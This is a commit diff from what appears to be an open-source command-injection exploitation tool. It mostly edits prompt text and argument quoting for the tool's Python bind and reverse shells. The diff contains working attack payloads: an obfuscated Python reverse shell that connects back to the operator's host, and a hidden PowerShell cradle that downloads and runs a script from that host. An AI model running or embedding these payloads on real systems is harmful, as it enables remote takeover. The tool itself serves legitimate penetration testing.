Skip to content

Commit 644a54f

Browse files
committed
Minor update
1 parent 05eeb88 commit 644a54f

File tree

3 files changed

+26
-26
lines changed

3 files changed

+26
-26
lines changed

src/core/shells/bind_tcp.py

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -90,8 +90,8 @@ def set_php_working_dir():
9090
if php_dir in settings.CHOICE_YES:
9191
break
9292
elif php_dir in settings.CHOICE_NO:
93-
question_msg = "Please provide a custom working directory for PHP (e.g. '"
94-
question_msg += settings.WIN_PHP_DIR + "') > "
93+
question_msg = "Please provide a full path directory for Python interpreter (e.g. '"
94+
question_msg += settings.WIN_PYTHON_DIR + "') or 'python'> "
9595
settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg))
9696
settings.USER_DEFINED_PHP_DIR = True
9797
break
@@ -107,7 +107,7 @@ def set_python_working_dir():
107107
while True:
108108
if not menu.options.batch:
109109
question_msg = "Do you want to use '" + settings.WIN_PYTHON_DIR
110-
question_msg += "' as Python working directory on the target host? [Y/n] > "
110+
question_msg += "' as Python interpreter on the target host? [Y/n] > "
111111
python_dir = _input(settings.print_question_msg(question_msg))
112112
else:
113113
python_dir = ""
@@ -116,8 +116,8 @@ def set_python_working_dir():
116116
if python_dir in settings.CHOICE_YES:
117117
break
118118
elif python_dir in settings.CHOICE_NO:
119-
question_msg = "Please provide a custom working directory for Python (e.g. '"
120-
question_msg += settings.WIN_PYTHON_DIR + "') > "
119+
question_msg = "Please provide a full path directory for Python interpreter (e.g. '"
120+
question_msg += "C:\\Python27\\python.exe') > "
121121
settings.WIN_PYTHON_DIR = _input(settings.print_question_msg(question_msg))
122122
settings.USER_DEFINED_PYTHON_DIR = True
123123
break
@@ -133,7 +133,7 @@ def set_python_interpreter():
133133
while True:
134134
if not menu.options.batch:
135135
question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
136-
question_msg += "' as Python working interpreter on the target host? [Y/n] > "
136+
question_msg += "' as Python interpreter on the target host? [Y/n] > "
137137
python_interpreter = _input(settings.print_question_msg(question_msg))
138138
else:
139139
python_interpreter = ""
@@ -142,8 +142,8 @@ def set_python_interpreter():
142142
if python_interpreter in settings.CHOICE_YES:
143143
break
144144
elif python_interpreter in settings.CHOICE_NO:
145-
question_msg = "Please provide a custom working interpreter for Python (e.g. '"
146-
question_msg += settings.LINUX_PYTHON_INTERPRETER + "') > "
145+
question_msg = "Please provide a custom interpreter for Python (e.g. '"
146+
question_msg += "python27') > "
147147
settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg))
148148
settings.USER_DEFINED_PYTHON_INTERPRETER = True
149149
break
@@ -449,7 +449,7 @@ def other_bind_shells(separator):
449449
if settings.TARGET_OS == "win":
450450
if not settings.USER_DEFINED_PYTHON_DIR:
451451
set_python_working_dir()
452-
other_shell = settings.WIN_PYTHON_DIR + " -c " + data
452+
other_shell = settings.WIN_PYTHON_DIR + " -c " + "\"" + data + "\""
453453
else:
454454
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
455455
set_python_interpreter()

src/core/shells/reverse_tcp.py

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -122,7 +122,7 @@ def set_python_working_dir():
122122
while True:
123123
if not menu.options.batch:
124124
question_msg = "Do you want to use '" + settings.WIN_PYTHON_DIR
125-
question_msg += "' as Python working directory on the target host? [Y/n] > "
125+
question_msg += "' as Python interpreter on the target host? [Y/n] > "
126126
python_dir = _input(settings.print_question_msg(question_msg))
127127
else:
128128
python_dir = ""
@@ -131,8 +131,8 @@ def set_python_working_dir():
131131
if python_dir in settings.CHOICE_YES:
132132
break
133133
elif python_dir in settings.CHOICE_NO:
134-
question_msg = "Please provide a custom working directory for Python (e.g. '"
135-
question_msg += settings.WIN_PYTHON_DIR + "') > "
134+
question_msg = "Please provide a full path directory for Python interpreter (e.g. '"
135+
question_msg += "C:\\Python27\\python.exe') > "
136136
settings.WIN_PYTHON_DIR = _input(settings.print_question_msg(question_msg))
137137
settings.USER_DEFINED_PYTHON_DIR = True
138138
break
@@ -148,7 +148,7 @@ def set_python_interpreter():
148148
while True:
149149
if not menu.options.batch:
150150
question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
151-
question_msg += "' as Python working interpreter on the target host? [Y/n] > "
151+
question_msg += "' as Python interpreter on the target host? [Y/n] > "
152152
python_interpreter = _input(settings.print_question_msg(question_msg))
153153
else:
154154
python_interpreter = ""
@@ -158,7 +158,7 @@ def set_python_interpreter():
158158
break
159159
elif python_interpreter in settings.CHOICE_NO:
160160
question_msg = "Please provide a custom working interpreter for Python (e.g. '"
161-
question_msg += settings.LINUX_PYTHON_INTERPRETER + "') > "
161+
question_msg += "python27') > "
162162
settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg))
163163
settings.USER_DEFINED_PYTHON_INTERPRETER = True
164164
break
@@ -380,7 +380,7 @@ def other_reverse_shells(separator):
380380

381381
# Windows Python-reverse-shell
382382
elif other_shell == '8':
383-
data = " -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \
383+
data = "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \
384384
"[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
385385
" __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
386386
" {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
@@ -400,15 +400,15 @@ def other_reverse_shells(separator):
400400
"for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
401401
"for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
402402
"for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
403-
"globals(), __import__('contextlib'))\""
403+
"globals(), __import__('contextlib'))"
404404

405405
if not settings.TARGET_OS == "win":
406406
windows_only_attack_vector()
407407
continue
408408
else:
409409
if not settings.USER_DEFINED_PYTHON_DIR:
410410
set_python_working_dir()
411-
other_shell = settings.WIN_PYTHON_DIR + data
411+
other_shell = settings.WIN_PYTHON_DIR + " -c " + "\"" + data + "\""
412412
break
413413

414414
# PHP-reverse-shell (meterpreter)
@@ -477,7 +477,7 @@ def other_reverse_shells(separator):
477477
data = content_file.readlines()
478478
data = ''.join(data)
479479
#data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
480-
480+
481481
print(settings.SINGLE_WHITESPACE)
482482
# Remove the ouput file.
483483
os.remove(output)
@@ -491,7 +491,7 @@ def other_reverse_shells(separator):
491491
if settings.TARGET_OS == "win":
492492
if not settings.USER_DEFINED_PYTHON_DIR:
493493
set_python_working_dir()
494-
other_shell = settings.WIN_PYTHON_DIR + " -c " + data
494+
other_shell = settings.WIN_PYTHON_DIR + " -c " + "\"" + data + "\""
495495
else:
496496
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
497497
set_python_interpreter()
@@ -648,7 +648,7 @@ def other_reverse_shells(separator):
648648
if settings.TARGET_OS == "win":
649649
if not settings.USER_DEFINED_PYTHON_DIR:
650650
set_python_working_dir()
651-
other_shell = settings.WIN_PYTHON_DIR + " -c " + data
651+
other_shell = settings.WIN_PYTHON_DIR + " -c " + "\"" + data + "\""
652652
else:
653653
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
654654
set_python_interpreter()
@@ -669,8 +669,8 @@ def other_reverse_shells(separator):
669669
continue
670670
else:
671671
other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');"
672-
msf_launch_msg(output)
673-
break
672+
msf_launch_msg(output)
673+
break
674674
break
675675
# Check for available shell options
676676
elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS):

src/utils/settings.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -216,7 +216,7 @@ def sys_argv_errors():
216216
DESCRIPTION = "The command injection exploiter"
217217
AUTHOR = "Anastasios Stasinopoulos"
218218
VERSION_NUM = "3.3"
219-
REVISION = "49"
219+
REVISION = "50"
220220
STABLE_RELEASE = False
221221
if STABLE_RELEASE:
222222
VERSION = "v" + VERSION_NUM + "-stable"
@@ -804,11 +804,11 @@ def sys_argv_errors():
804804
# Ignore Error Message
805805
IGNORE_ERR_MSG = False
806806

807-
# Windows Python (2.7) installed directory.
808-
WIN_PYTHON_DIR = "C:\\Python27\\python.exe"
807+
# Default (windows) target host's python interpreter
808+
WIN_PYTHON_DIR = "python.exe"
809809
USER_DEFINED_PYTHON_DIR = False
810810

811-
# Default target host's python interpreter
811+
# Default (linux) target host's python interpreter
812812
LINUX_PYTHON_INTERPRETER = "python3"
813813
USER_DEFINED_PYTHON_INTERPRETER = False
814814

0 commit comments

Comments
 (0)